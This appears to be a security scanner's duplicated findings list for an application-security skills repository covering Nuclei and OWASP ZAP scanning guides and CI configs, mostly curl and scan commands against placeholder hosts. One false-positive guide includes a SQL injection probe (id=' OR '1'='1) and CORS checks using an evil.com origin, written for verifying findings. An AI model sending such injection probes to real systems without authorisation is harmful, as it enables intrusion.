    - [JWT.io](https://jwt.io/)
  • Network accessline 487
    - [JWT.io](https://jwt.io/)
  • Network accessline 488
    - [SAML 2.0](http://saml.xml.org/)
  • Network accessline 488
    - [SAML 2.0](http://saml.xml.org/)
  • Network accessline 489
    - [Nuclei Authentication Docs](https://docs.projectdiscovery.io/)
  • Network accessline 489
    - [Nuclei Authentication Docs](https://docs.projectdiscovery.io/)

skills/appsec/dast-nuclei/references/false_positive_guide.md

  • Network accessline 34
    # Check headers from actual browser curl -I https://target-app.com
  • Network accessline 34
    # Check headers from actual browser curl -I https://target-app.com
  • Network accessline 35
    curl -I https://target-app.com
  • Network accessline 35
    curl -I https://target-app.com
  • Network accessline 36
    curl -I https://target-app.com -H "User-Agent: Mozilla/5.0"
  • Network accessline 36
    curl -I https://target-app.com -H "User-Agent: Mozilla/5.0"
  • Network accessline 38
    # Check if CDN adds headers curl -I https://target-app.com -v 2>&1 | grep -i "x-frame-options\|content-security"
  • Network accessline 38
    # Check if CDN adds headers curl -I https://target-app.com -v 2>&1 | grep -i "x-frame-options\|content-security"
  • Network accessline 39
    curl -I https://target-app.com -v 2>&1 | grep -i "x-frame-options\|content-security"
  • Network accessline 39
    curl -I https://target-app.com -v 2>&1 | grep -i "x-frame-options\|content-security"
  • Network accessline 44
    # Exclude header-related info findings nuclei -u https://target-app.com -etags headers -severity critical,high
  • Network accessline 44
    # Exclude header-related info findings nuclei -u https://target-app.com -etags headers -severity critical,high
  • Network accessline 45
    nuclei -u https://target-app.com -etags headers -severity critical,high
  • Network accessline 45
    nuclei -u https://target-app.com -etags headers -severity critical,high
  • Network accessline 59
    # Manual verification with authentication curl https://target-app.com/admin \
  • Network accessline 59
    # Manual verification with authentication curl https://target-app.com/admin \
  • Network accessline 60
    curl https://target-app.com/admin \
  • Network accessline 60
    curl https://target-app.com/admin \
  • Network accessline 64
    # Check actual response content curl https://target-app.com/backup | head -20
  • Network accessline 64
    # Check actual response content curl https://target-app.com/backup | head -20
  • Network accessline 65
    curl https://target-app.com/backup | head -20
  • Network accessline 65
    curl https://target-app.com/backup | head -20
  • Network accessline 70
    # Exclude exposure templates for authenticated scans nuclei -u https://target-app.com \
  • Network accessline 70
    # Exclude exposure templates for authenticated scans nuclei -u https://target-app.com \
  • Network accessline 71
    nuclei -u https://target-app.com \
  • Network accessline 71
    nuclei -u https://target-app.com \
  • Network accessline 87
    # Check actual version curl https://target-app.com/version
  • Network accessline 87
    # Check actual version curl https://target-app.com/version
  • Network accessline 88
    curl https://target-app.com/version
  • Network accessline 88
    curl https://target-app.com/version
  • Network accessline 89
    curl https://target-app.com -v 2>&1 | grep -i "server:"
  • Network accessline 89
    curl https://target-app.com -v 2>&1 | grep -i "server:"
  • Network accessline 97
    # Scan only recent CVEs nuclei -u https://target-app.com \
  • Network accessline 97
    # Scan only recent CVEs nuclei -u https://target-app.com \
  • Network accessline 98
    nuclei -u https://target-app.com \
  • Network accessline 98
    nuclei -u https://target-app.com \
  • Network accessline 102
    # Exclude specific false positive templates nuclei -u https://target-app.com \
  • Network accessline 102
    # Exclude specific false positive templates nuclei -u https://target-app.com \
  • Network accessline 103
    nuclei -u https://target-app.com \
  • Network accessline 103
    nuclei -u https://target-app.com \
  • Network accessline 118
    # Check for actual CMS files curl https://target-app.com/wp-admin/
  • Network accessline 118
    # Check for actual CMS files curl https://target-app.com/wp-admin/
  • Network accessline 119
    curl https://target-app.com/wp-admin/
  • Network accessline 119
    curl https://target-app.com/wp-admin/
  • Network accessline 120
    curl https://target-app.com/wp-includes/
  • Network accessline 120
    curl https://target-app.com/wp-includes/
  • Network accessline 121
    curl https://target-app.com/readme.html
  • Network accessline 121
    curl https://target-app.com/readme.html
  • Network accessline 123
    # Technology fingerprinting whatweb https://target-app.com
  • Network accessline 123
    # Technology fingerprinting whatweb https://target-app.com
  • Network accessline 124
    whatweb https://target-app.com
  • Network accessline 124
    whatweb https://target-app.com
  • Network accessline 125
    wappalyzer https://target-app.com
  • Network accessline 125
    wappalyzer https://target-app.com
  • Network accessline 130
    # Exclude tech detection templates nuclei -u https://target-app.com -etags tech
  • Network accessline 130
    # Exclude tech detection templates nuclei -u https://target-app.com -etags tech
  • Network accessline 131
    nuclei -u https://target-app.com -etags tech
  • Network accessline 131
    nuclei -u https://target-app.com -etags tech
  • Network accessline 145
    # Test if default credentials actually work curl -X POST https://target-app.com/login \
  • Network accessline 145
    # Test if default credentials actually work curl -X POST https://target-app.com/login \
  • Network accessline 146
    curl -X POST https://target-app.com/login \
  • Network accessline 146
    curl -X POST https://target-app.com/login \
  • Network accessline 150
    # Check if MFA is required curl -X POST https://target-app.com/login \
  • Network accessline 150
    # Check if MFA is required curl -X POST https://target-app.com/login \
  • Network accessline 151
    curl -X POST https://target-app.com/login \
  • Network accessline 151
    curl -X POST https://target-app.com/login \
  • Network accessline 155
    curl https://target-app.com/dashboard \
  • Network accessline 155
    curl https://target-app.com/dashboard \
  • Network accessline 161
    # Scan with authentication to skip login detection nuclei -u https://target-app.com \
  • Network accessline 161
    # Scan with authentication to skip login detection nuclei -u https://target-app.com \
  • Network accessline 162
    nuclei -u https://target-app.com \
  • Network accessline 162
    nuclei -u https://target-app.com \
  • Network accessline 178
    # Check actual error response curl https://api.target.com/endpoint?id=invalid -v
  • Network accessline 178
    # Check actual error response curl https://api.target.com/endpoint?id=invalid -v
  • Network accessline 179
    curl https://api.target.com/endpoint?id=invalid -v
  • Network accessline 179
    curl https://api.target.com/endpoint?id=invalid -v
  • Network accessline 181
    # Verify it's not SQL error but validation error curl https://api.target.com/endpoint?id=' OR '1'='1 -v
  • Network accessline 181
    # Verify it's not SQL error but validation error curl https://api.target.com/endpoint?id=' OR '1'='1 -v
  • Network accessline 182
    curl https://api.target.com/endpoint?id=' OR '1'='1 -v
  • Network accessline 182
    curl https://api.target.com/endpoint?id=' OR '1'='1 -v
  • Network accessline 196
    # Check if sensitive endpoints have CORS curl https://api.target.com/public/data \
  • Network accessline 196
    # Check if sensitive endpoints have CORS curl https://api.target.com/public/data \
  • Network accessline 197
    curl https://api.target.com/public/data \
  • Network accessline 197
    curl https://api.target.com/public/data \
  • Network accessline 198
    -H "Origin: https://evil.com" -v
  • Network accessline 198
    -H "Origin: https://evil.com" -v
  • Network accessline 200
    curl https://api.target.com/private/users \
  • Network accessline 200
    curl https://api.target.com/private/users \
  • Network accessline 201
    -H "Origin: https://evil.com" \
  • Network accessline 201
    -H "Origin: https://evil.com" \
  • Network accessline 213
    # Use exact URL and parameters from Nuclei output    curl "https://target-app.com/vulnerable-path" -v
  • Network accessline 213
    # Use exact URL and parameters from Nuclei output    curl "https://target-app.com/vulnerable-path" -v
  • Network accessline 214
    curl "https://target-app.com/vulnerable-path" -v
  • Network accessline 214
    curl "https://target-app.com/vulnerable-path" -v
  • Network accessline 219
    # Test with authentication    curl "https://target-app.com/vulnerable-path" \
  • Network accessline 219
    # Test with authentication    curl "https://target-app.com/vulnerable-path" \
  • Network accessline 220
    curl "https://target-app.com/vulnerable-path" \
  • Network accessline 220
    curl "https://target-app.com/vulnerable-path" \
  • Access to secretsline 243
    [Credential-related source omitted]
  • Access to secretsline 243
    [Credential-related source omitted]
  • Access to secretsline 245
    [Credential-related source omitted]
  • Access to secretsline 245
    [Credential-related source omitted]
  • Network accessline 256
    # Critical and high only nuclei -u https://target-app.com -severity critical,high
  • Network accessline 256
    # Critical and high only nuclei -u https://target-app.com -severity critical,high
  • Network accessline 257
    nuclei -u https://target-app.com -severity critical,high
  • Network accessline 257
    nuclei -u https://target-app.com -severity critical,high
  • Network accessline 259
    # Exclude info findings nuclei -u https://target-app.com -exclude-severity info
  • Network accessline 259
    # Exclude info findings nuclei -u https://target-app.com -exclude-severity info
  • Network accessline 260
    nuclei -u https://target-app.com -exclude-severity info
  • Network accessline 260
    nuclei -u https://target-app.com -exclude-severity info
  • Network accessline 268
    # Only CVEs and OWASP vulnerabilities nuclei -u https://target-app.com -tags cve,owasp
  • Network accessline 268
    # Only CVEs and OWASP vulnerabilities nuclei -u https://target-app.com -tags cve,owasp
  • Network accessline 269
    nuclei -u https://target-app.com -tags cve,owasp
  • Network accessline 269
    nuclei -u https://target-app.com -tags cve,owasp
  • Network accessline 271
    # Exclude informational tags nuclei -u https://target-app.com -etags tech,info,headers
  • Network accessline 271
    # Exclude informational tags nuclei -u https://target-app.com -etags tech,info,headers
  • Network accessline 272
    nuclei -u https://target-app.com -etags tech,info,headers
  • Network accessline 272
    nuclei -u https://target-app.com -etags tech,info,headers
  • Network accessline 280
    # Exclude specific templates nuclei -u https://target-app.com \
  • Network accessline 280
    # Exclude specific templates nuclei -u https://target-app.com \
  • Network accessline 281
    nuclei -u https://target-app.com \
  • Network accessline 281
    nuclei -u https://target-app.com \
  • Network accessline 284
    # Exclude template directories nuclei -u https://target-app.com \
  • Network accessline 284
    # Exclude template directories nuclei -u https://target-app.com \
  • Network accessline 285
    nuclei -u https://target-app.com \
  • Network accessline 285
    nuclei -u https://target-app.com \
  • Network accessline 294
    # Scan with curated template set nuclei -u https://target-app.com \
  • Network accessline 294
    # Scan with curated template set nuclei -u https://target-app.com \
  • Network accessline 295
    nuclei -u https://target-app.com \
  • Network accessline 295
    nuclei -u https://target-app.com \
  • Network accessline 305
    # Only recent critical CVEs nuclei -u https://target-app.com \
  • Network accessline 305
    # Only recent critical CVEs nuclei -u https://target-app.com \
  • Network accessline 306
    nuclei -u https://target-app.com \
  • Network accessline 306
    nuclei -u https://target-app.com \
  • Network accessline 416
    - template: exposed-admin-panel     urls:       - https://target-app.com/admin
  • Network accessline 416
    - template: exposed-admin-panel     urls:       - https://target-app.com/admin
  • Network accessline 417
    urls:       - https://target-app.com/admin     reason: "Admin panel requires MFA and IP allowlist"
  • Network accessline 417
    urls:       - https://target-app.com/admin     reason: "Admin panel requires MFA and IP allowlist"
  • Network accessline 418
    - https://target-app.com/admin
  • Network accessline 418
    - https://target-app.com/admin
  • Network accessline 455
    # cURL for manual verification
  • Network accessline 455
    # cURL for manual verification
  • Network accessline 456
    curl -v https://target-app.com/endpoint
  • Network accessline 456
    curl -v https://target-app.com/endpoint
  • Network accessline 458
    # httpie (user-friendly HTTP client) http https://target-app.com/endpoint
  • Network accessline 458
    # httpie (user-friendly HTTP client) http https://target-app.com/endpoint
  • Network accessline 459
    http https://target-app.com/endpoint
  • Network accessline 459
    http https://target-app.com/endpoint

skills/appsec/dast-nuclei/references/owasp_mapping.md

  • Network accessline 231
    ### Affected URLs - https://target-app.com/api/users?id=1
  • Network accessline 231
    ### Affected URLs - https://target-app.com/api/users?id=1
  • Network accessline 232
    - https://target-app.com/api/users?id=1
  • Network accessline 232
    - https://target-app.com/api/users?id=1
  • Network accessline 237
    ### References - [OWASP SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)
  • Network accessline 237
    ### References - [OWASP SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)
  • Network accessline 238
    - [OWASP SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)
  • Network accessline 238
    - [OWASP SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)
  • Network accessline 243
    - [OWASP Top 10 2021](https://owasp.org/Top10/)
  • Network accessline 243
    - [OWASP Top 10 2021](https://owasp.org/Top10/)
  • Network accessline 244
    - [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/)
  • Network accessline 244
    - [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/)
  • Network accessline 245
    - [Nuclei Templates Repository](https://github.com/projectdiscovery/nuclei-templates)
  • Network accessline 245
    - [Nuclei Templates Repository](https://github.com/projectdiscovery/nuclei-templates)

skills/appsec/dast-nuclei/references/template_development.md

  • Network accessline 21
    description: Detailed description of what this template detects   reference:     - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-XXXXX
  • Network accessline 21
    description: Detailed description of what this template detects   reference:     - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-XXXXX
  • Network accessline 22
    reference:     - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-XXXXX     - https://nvd.nist.gov/vuln/detail/CVE-2024-XXXXX
  • Network accessline 22
    reference:     - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-XXXXX     - https://nvd.nist.gov/vuln/detail/CVE-2024-XXXXX
  • Network accessline 23
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-XXXXX
  • Network accessline 23
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-XXXXX
  • Network accessline 24
    - https://nvd.nist.gov/vuln/detail/CVE-2024-XXXXX
  • Network accessline 24
    - https://nvd.nist.gov/vuln/detail/CVE-2024-XXXXX
  • Access to secretsline 288
    [Credential-related source omitted]
  • Access to secretsline 288
    [Credential-related source omitted]
  • Network accessline 384
    # Test single template nuclei -t custom-templates/my-template.yaml -u http://localhost:8080 -debug
  • Network accessline 384
    # Test single template nuclei -t custom-templates/my-template.yaml -u http://localhost:8080 -debug
  • Network accessline 385
    nuclei -t custom-templates/my-template.yaml -u http://localhost:8080 -debug
  • Network accessline 385
    nuclei -t custom-templates/my-template.yaml -u http://localhost:8080 -debug
  • Network accessline 390
    # Test with verbose output nuclei -t custom-templates/my-template.yaml -u https://target.com -verbose
  • Network accessline 390
    # Test with verbose output nuclei -t custom-templates/my-template.yaml -u https://target.com -verbose
  • Network accessline 391
    nuclei -t custom-templates/my-template.yaml -u https://target.com -verbose
  • Network accessline 391
    nuclei -t custom-templates/my-template.yaml -u https://target.com -verbose
  • Network accessline 466
    reference:     - https://nvd.nist.gov/vuln/detail/CVE-2024-XXXXX
  • Network accessline 466
    reference:     - https://nvd.nist.gov/vuln/detail/CVE-2024-XXXXX
  • Network accessline 467
    - https://nvd.nist.gov/vuln/detail/CVE-2024-XXXXX
  • Network accessline 467
    - https://nvd.nist.gov/vuln/detail/CVE-2024-XXXXX
  • Network accessline 468
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-XXXXX
  • Network accessline 468
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-XXXXX
  • Network accessline 577
    reference:     - https://internal-wiki.acme.com/security/SEC-1234
  • Network accessline 577
    reference:     - https://internal-wiki.acme.com/security/SEC-1234
  • Network accessline 578
    - https://internal-wiki.acme.com/security/SEC-1234
  • Network accessline 578
    - https://internal-wiki.acme.com/security/SEC-1234
  • Network accessline 634
    - [Official Nuclei Template Guide](https://docs.projectdiscovery.io/templates/introduction)
  • Network accessline 634
    - [Official Nuclei Template Guide](https://docs.projectdiscovery.io/templates/introduction)
  • Network accessline 635
    - [Nuclei Templates Repository](https://github.com/projectdiscovery/nuclei-templates)
  • Network accessline 635
    - [Nuclei Templates Repository](https://github.com/projectdiscovery/nuclei-templates)
  • Network accessline 636
    - [Template Editor](https://templates.nuclei.sh/)
  • Network accessline 636
    - [Template Editor](https://templates.nuclei.sh/)
  • Network accessline 637
    - [DSL Functions Reference](https://docs.projectdiscovery.io/templates/reference/matchers#dsl-matcher)
  • Network accessline 637
    - [DSL Functions Reference](https://docs.projectdiscovery.io/templates/reference/matchers#dsl-matcher)

skills/appsec/dast-zap/SKILL.md

  • Network accessline 16
    optional: [python3, java] references:   - https://www.zaproxy.org/docs/
  • Network accessline 16
    optional: [python3, java] references:   - https://www.zaproxy.org/docs/
  • Network accessline 17
    references:   - https://www.zaproxy.org/docs/   - https://www.zaproxy.org/docs/docker/
  • Network accessline 17
    references:   - https://www.zaproxy.org/docs/   - https://www.zaproxy.org/docs/docker/
  • Network accessline 18
    - https://www.zaproxy.org/docs/
  • Network accessline 18
    - https://www.zaproxy.org/docs/
  • Network accessline 19
    - https://www.zaproxy.org/docs/docker/
  • Network accessline 19
    - https://www.zaproxy.org/docs/docker/
  • Network accessline 20
    - https://www.zaproxy.org/docs/desktop/start/features/
  • Network accessline 20
    - https://www.zaproxy.org/docs/desktop/start/features/
  • Network accessline 38
    docker run -t zaproxy/zap-stable zap-baseline.py -t https://target-app.com -r baseline-report.html
  • Network accessline 38
    docker run -t zaproxy/zap-stable zap-baseline.py -t https://target-app.com -r baseline-report.html
  • Network accessline 46
    docker run -t zaproxy/zap-stable zap-full-scan.py -t https://target-app.com -r full-scan-report.html
  • Network accessline 46
    docker run -t zaproxy/zap-stable zap-full-scan.py -t https://target-app.com -r full-scan-report.html
  • Network accessline 54
    docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py \   -t https://api.target.com \
  • Network accessline 54
    docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py \   -t https://api.target.com \
  • Network accessline 55
    -t https://api.target.com \
  • Network accessline 55
    -t https://api.target.com \
  • Network accessline 68
    # Set target URL TARGET_URL="https://target-app.com"
  • Network accessline 68
    # Set target URL TARGET_URL="https://target-app.com"
  • Network accessline 69
    TARGET_URL="https://target-app.com"
  • Network accessline 69
    TARGET_URL="https://target-app.com"
  • Network accessline 128
    # OpenAPI/Swagger API scan docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py \   -t https://api.target.com \
  • Network accessline 128
    # OpenAPI/Swagger API scan docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py \   -t https://api.target.com \
  • Network accessline 129
    docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py    -t https://api.target.com
  • Network accessline 129
    docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py    -t https://api.target.com
  • Network accessline 130
    -t https://api.target.com \
  • Network accessline 130
    -t https://api.target.com \
  • Network accessline 135
    # GraphQL API scan docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py \   -t https://api.target.com/graphql \
  • Network accessline 135
    # GraphQL API scan docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py \   -t https://api.target.com/graphql \
  • Network accessline 136
    docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py    -t https://api.target.com/graphql
  • Network accessline 136
    docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py    -t https://api.target.com/graphql
  • Network accessline 137
    -t https://api.target.com/graphql \
  • Network accessline 137
    -t https://api.target.com/graphql \
  • Network accessline 151
    python3 scripts/zap_auth_scanner.py    --target $TARGET_URL    --auth-type form    --login-url https://target-app.com/login
  • Network accessline 151
    python3 scripts/zap_auth_scanner.py    --target $TARGET_URL    --auth-type form    --login-url https://target-app.com/login
  • Network accessline 152
    --target $TARGET_URL \   --auth-type form \   --login-url https://target-app.com/login \
  • Network accessline 152
    --target $TARGET_URL \   --auth-type form \   --login-url https://target-app.com/login \
  • Network accessline 153
    --auth-type form \   --login-url https://target-app.com/login \   --username testuser \
  • Network accessline 153
    --auth-type form \   --login-url https://target-app.com/login \   --username testuser \
  • Network accessline 154
    --login-url https://target-app.com/login \
  • Network accessline 154
    --login-url https://target-app.com/login \
  • Network accessline 210
    uses: zaproxy/action-baseline@v0.7.0         with:           target: 'https://staging.target-app.com'
  • Network accessline 210
    uses: zaproxy/action-baseline@v0.7.0         with:           target: 'https://staging.target-app.com'
  • Network accessline 211
    with:           target: 'https://staging.target-app.com'           rules_file_name: '.zap/rules.tsv'
  • Network accessline 211
    with:           target: 'https://staging.target-app.com'           rules_file_name: '.zap/rules.tsv'
  • Network accessline 212
    target: 'https://staging.target-app.com'
  • Network accessline 212
    target: 'https://staging.target-app.com'
  • Network accessline 304
    # 1. Test API endpoints with specification docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py \   -t https://api.target.com -f openapi -d /zap/wrk/openapi.yaml -r /zap/wrk/api.html
  • Network accessline 304
    # 1. Test API endpoints with specification docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py \   -t https://api.target.com -f openapi -d /zap/wrk/openapi.yaml -r /zap/wrk/api.html
  • Network accessline 305
    docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py    -t https://api.target.com -f openapi -d /zap/wrk/openapi.yaml -r /zap/wrk/api.html
  • Network accessline 305
    docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py    -t https://api.target.com -f openapi -d /zap/wrk/openapi.yaml -r /zap/wrk/api.html
  • Network accessline 306
    -t https://api.target.com -f openapi -d /zap/wrk/openapi.yaml -r /zap/wrk/api.html
  • Network accessline 306
    -t https://api.target.com -f openapi -d /zap/wrk/openapi.yaml -r /zap/wrk/api.html
  • Network accessline 311
    # 3. Test authentication flows python3 scripts/zap_auth_scanner.py --target https://api.target.com --auth-type bearer --token-env API_TOKEN
  • Network accessline 311
    # 3. Test authentication flows python3 scripts/zap_auth_scanner.py --target https://api.target.com --auth-type bearer --token-env API_TOKEN
  • Network accessline 312
    [Credential-related source omitted]
  • Network accessline 312
    [Credential-related source omitted]
  • Access to secretsline 312
    [Credential-related source omitted]
  • Access to secretsline 312
    [Credential-related source omitted]
  • Network accessline 323
    # 2. Run authenticated scan python3 scripts/zap_auth_scanner.py \   --target https://app.target.com \
  • Network accessline 323
    # 2. Run authenticated scan python3 scripts/zap_auth_scanner.py \   --target https://app.target.com \
  • Network accessline 324
    python3 scripts/zap_auth_scanner.py    --target https://app.target.com
  • Network accessline 324
    python3 scripts/zap_auth_scanner.py    --target https://app.target.com
  • Network accessline 325
    --target https://app.target.com \
  • Network accessline 325
    --target https://app.target.com \
  • Network accessline 326
    --auth-type form \   --login-url https://app.target.com/login \   --username testuser \
  • Network accessline 326
    --auth-type form \   --login-url https://app.target.com/login \   --username testuser \
  • Network accessline 327
    --login-url https://app.target.com/login \
  • Network accessline 327
    --login-url https://app.target.com/login \
  • Network accessline 328
    --username testuser \   --password-env APP_PASSWORD \   --verification-url https://app.target.com/dashboard \
  • Network accessline 328
    --username testuser \   --password-env APP_PASSWORD \   --verification-url https://app.target.com/dashboard \
  • Network accessline 329
    --password-env APP_PASSWORD \   --verification-url https://app.target.com/dashboard \   --output authenticated-scan.html
  • Network accessline 329
    --password-env APP_PASSWORD \   --verification-url https://app.target.com/dashboard \   --output authenticated-scan.html
  • Network accessline 330
    --verification-url https://app.target.com/dashboard \
  • Network accessline 330
    --verification-url https://app.target.com/dashboard \
  • Network accessline 341
    # Run baseline scan and fail build on high-risk findings docker run -t zaproxy/zap-stable zap-baseline.py \   -t https://staging.target.com \
  • Network accessline 341
    # Run baseline scan and fail build on high-risk findings docker run -t zaproxy/zap-stable zap-baseline.py \   -t https://staging.target.com \
  • Network accessline 342
    docker run -t zaproxy/zap-stable zap-baseline.py    -t https://staging.target.com
  • Network accessline 342
    docker run -t zaproxy/zap-stable zap-baseline.py    -t https://staging.target.com
  • Network accessline 343
    -t https://staging.target.com \
  • Network accessline 343
    -t https://staging.target.com \
  • Network accessline 372
    # Use docker0 bridge IP instead of localhost HOST_IP=$(ip -4 addr show docker0 | grep -Po 'inet \K[\d.]+') docker run -t zaproxy/zap-stable zap-baseline.py -t http://$HOST_IP:8080
  • Network accessline 372
    # Use docker0 bridge IP instead of localhost HOST_IP=$(ip -4 addr show docker0 | grep -Po 'inet \K[\d.]+') docker run -t zaproxy/zap-stable zap-baseline.py -t http://$HOST_IP:8080
  • Network accessline 374
    docker run -t zaproxy/zap-stable zap-baseline.py -t http://$HOST_IP:8080
  • Network accessline 374
    docker run -t zaproxy/zap-stable zap-baseline.py -t http://$HOST_IP:8080
  • Network accessline 376
    # Scanning between containers - create shared network docker network create zap-network docker run --network zap-network -t zaproxy/zap-stable zap-baseline.py -t http://app-container:8080
  • Network accessline 376
    # Scanning between containers - create shared network docker network create zap-network docker run --network zap-network -t zaproxy/zap-stable zap-baseline.py -t http://app-container:8080
  • Network accessline 378
    docker run --network zap-network -t zaproxy/zap-stable zap-baseline.py -t http://app-container:8080
  • Network accessline 378
    docker run --network zap-network -t zaproxy/zap-stable zap-baseline.py -t http://app-container:8080
  • Network accessline 403
    # Generate rules file to suppress false positives # Format: alert_id  URL_pattern  parameter  CWE_id  WARN|IGNORE|FAIL echo "10202  https://target.com/static/.*  .*  798  IGNORE" >> .zap/rules.tsv
  • Network accessline 403
    # Generate rules file to suppress false positives # Format: alert_id  URL_pattern  parameter  CWE_id  WARN|IGNORE|FAIL echo "10202  https://target.com/static/.*  .*  798  IGNORE" >> .zap/rules.tsv
  • Network accessline 405
    echo "10202  https://target.com/static/.*  .*  798  IGNORE" >> .zap/rules.tsv
  • Network accessline 405
    echo "10202  https://target.com/static/.*  .*  798  IGNORE" >> .zap/rules.tsv
  • Network accessline 416
    python3 scripts/zap_auth_scanner.py    --target $TARGET_URL    --auth-type form    --login-url https://target.com/login
  • Network accessline 416
    python3 scripts/zap_auth_scanner.py    --target $TARGET_URL    --auth-type form    --login-url https://target.com/login
  • Network accessline 417
    --target $TARGET_URL \   --auth-type form \   --login-url https://target.com/login \
  • Network accessline 417
    --target $TARGET_URL \   --auth-type form \   --login-url https://target.com/login \
  • Network accessline 418
    --auth-type form \   --login-url https://target.com/login \   --username testuser \
  • Network accessline 418
    --auth-type form \   --login-url https://target.com/login \   --username testuser \
  • Network accessline 419
    --login-url https://target.com/login \
  • Network accessline 419
    --login-url https://target.com/login \
  • Network accessline 440
    - [OWASP ZAP Documentation](https://www.zaproxy.org/docs/)
  • Network accessline 440
    - [OWASP ZAP Documentation](https://www.zaproxy.org/docs/)
  • Network accessline 441
    - [ZAP Docker Documentation](https://www.zaproxy.org/docs/docker/)
  • Network accessline 441
    - [ZAP Docker Documentation](https://www.zaproxy.org/docs/docker/)
  • Network accessline 442
    - [OWASP Top 10 2021](https://owasp.org/Top10/)
  • Network accessline 442
    - [OWASP Top 10 2021](https://owasp.org/Top10/)
  • Network accessline 443
    - [ZAP Automation Framework](https://www.zaproxy.org/docs/automate/automation-framework/)
  • Network accessline 443
    - [ZAP Automation Framework](https://www.zaproxy.org/docs/automate/automation-framework/)
  • Network accessline 444
    - [GitHub Actions for ZAP](https://github.com/zaproxy/action-baseline)
  • Network accessline 444
    - [GitHub Actions for ZAP](https://github.com/zaproxy/action-baseline)

skills/appsec/dast-zap/assets/github_action.yml

  • Dangerous shell operationline 177
    sudo apt-get update && sudo apt-get install -y jq
  • Dangerous shell operationline 177
    sudo apt-get update && sudo apt-get install -y jq

skills/appsec/dast-zap/assets/gitlab_ci.yml

  • Network accessline 8
    variables:   ZAP_IMAGE: "zaproxy/zap-stable:latest"   STAGING_URL: "https://staging.example.com"
  • Network accessline 8
    variables:   ZAP_IMAGE: "zaproxy/zap-stable:latest"   STAGING_URL: "https://staging.example.com"
  • Network accessline 9
    ZAP_IMAGE: "zaproxy/zap-stable:latest"   STAGING_URL: "https://staging.example.com"   REPORTS_DIR: "security-reports"
  • Network accessline 9
    ZAP_IMAGE: "zaproxy/zap-stable:latest"   STAGING_URL: "https://staging.example.com"   REPORTS_DIR: "security-reports"
  • Network accessline 10
    STAGING_URL: "https://staging.example.com"
  • Network accessline 10
    STAGING_URL: "https://staging.example.com"
  • Network accessline 196
    before_script:     - apk add --no-cache jq curl   script:
  • Network accessline 196
    before_script:     - apk add --no-cache jq curl   script:
  • Network accessline 197
    - apk add --no-cache jq curl   script:     - |
  • Network accessline 197
    - apk add --no-cache jq curl   script:     - |

skills/appsec/dast-zap/assets/zap_automation.yaml

  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]

skills/appsec/dast-zap/assets/zap_context.xml

  • Network accessline 15
    <!-- URL Scope Definition -->         <!-- Include all URLs under target domain -->         <incregexes>https://app\.example\.com/.*</incregexes>
  • Network accessline 15
    <!-- URL Scope Definition -->         <!-- Include all URLs under target domain -->         <incregexes>https://app\.example\.com/.*</incregexes>
  • Network accessline 17
    <incregexes>https://app\.example\.com/.*</incregexes>
  • Network accessline 17
    <incregexes>https://app\.example\.com/.*</incregexes>
  • Network accessline 19
    <!-- Exclude logout and static content -->         <excregexes>https://app\.example\.com/logout</excregexes>
  • Network accessline 19
    <!-- Exclude logout and static content -->         <excregexes>https://app\.example\.com/logout</excregexes>
  • Network accessline 20
    <excregexes>https://app\.example\.com/logout</excregexes>
  • Network accessline 20
    <excregexes>https://app\.example\.com/logout</excregexes>
  • Network accessline 21
    <excregexes>https://app\.example\.com/signout</excregexes>
  • Network accessline 21
    <excregexes>https://app\.example\.com/signout</excregexes>
  • Network accessline 22
    <excregexes>https://app\.example\.com/static/.*</excregexes>
  • Network accessline 22
    <excregexes>https://app\.example\.com/static/.*</excregexes>
  • Network accessline 47
    <form>                 <!-- Login URL -->                 <loginurl>https://app.example.com/login</loginurl>
  • Network accessline 47
    <form>                 <!-- Login URL -->                 <loginurl>https://app.example.com/login</loginurl>
  • Network accessline 49
    <loginurl>https://app.example.com/login</loginurl>
  • Network accessline 49
    <loginurl>https://app.example.com/login</loginurl>
  • Network accessline 55
    <!-- Login Page URL (where login form is displayed) -->                 <loginpageurl>https://app.example.com/login</loginpageurl>
  • Network accessline 55
    <!-- Login Page URL (where login form is displayed) -->                 <loginpageurl>https://app.example.com/login</loginpageurl>
  • Network accessline 56
    <loginpageurl>https://app.example.com/login</loginpageurl>
  • Network accessline 56
    <loginpageurl>https://app.example.com/login</loginpageurl>
  • Network accessline 84
